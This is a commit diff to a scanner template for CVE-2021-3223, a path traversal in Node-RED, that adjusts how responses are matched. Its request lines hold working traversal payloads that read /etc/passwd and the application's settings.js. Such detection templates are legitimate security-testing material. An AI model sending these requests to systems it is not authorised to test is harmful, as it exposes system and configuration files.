Update CVE-2021-3223.yaml

2021-08-02 01:11:43 +05:30 · 2021-08-02 01:11:43 +05:30 · 5c22441bac
parent ae672521d9
commit 5c22441bac
1 changed files with 3 additions and 2 deletions
--- a/cves/2021/CVE-2021-3223.yaml
+++ b/cves/2021/CVE-2021-3223.yaml
@ -16,13 +16,14 @@ requests:
      - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
      - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'

+    matchers-condition: or
    matchers:
      - type: regex
+        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
+        part: body
        words:
-          - "username"
-          - "password"
          - "Node-RED web server is listening"